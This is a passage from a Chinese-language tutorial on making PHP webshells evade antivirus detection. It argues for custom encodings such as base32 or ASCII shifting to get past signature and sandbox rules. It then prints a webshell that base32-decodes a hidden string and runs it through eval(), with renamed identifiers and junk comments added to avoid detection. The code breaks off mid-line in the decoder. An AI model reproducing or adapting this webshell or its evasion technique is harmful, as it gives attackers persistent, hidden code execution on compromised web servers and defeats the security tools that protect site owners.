前言
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。
自定义加密Bypass
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
比如这个 都能被检测出是shell
所以为了防止这种的规则 自定义加密显然是最优解
自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测
base32编码payload
(https://github.com/pureqh/webshell):
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
$this->LRXV = @SYXJ($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function MNWK($QSFX){
$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 8;
$v += ord($QSFX[$i]);
$vbits += 8;
while ($vbits >= 5) {
$vbits -= 5;
$NLHB .= $BASE32_ALPHABET[$v >> $vbits];
$v &= ((1 << $vbits) - 1);}}
if ($vbits > 0){
$v <<= (5 - $vbits);
$NLHB .= $BASE32_ALPHABET[$v];}
return $NLHB;}
function SYXJ($QSFX){
$NLHB = '';
$v = 0;
$vbits = 0;
for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){
$v <<= 5;
if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){
$v += (ord($QSFX[$i]) - 97);
} elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') {
$v += (24 + $QSFX[$i]);
} else {
exit(1);
}
$vbits += 5;
while ($vbits >= 8){
$vbits -= 8;
$NLHB .= chr($v >> $vbi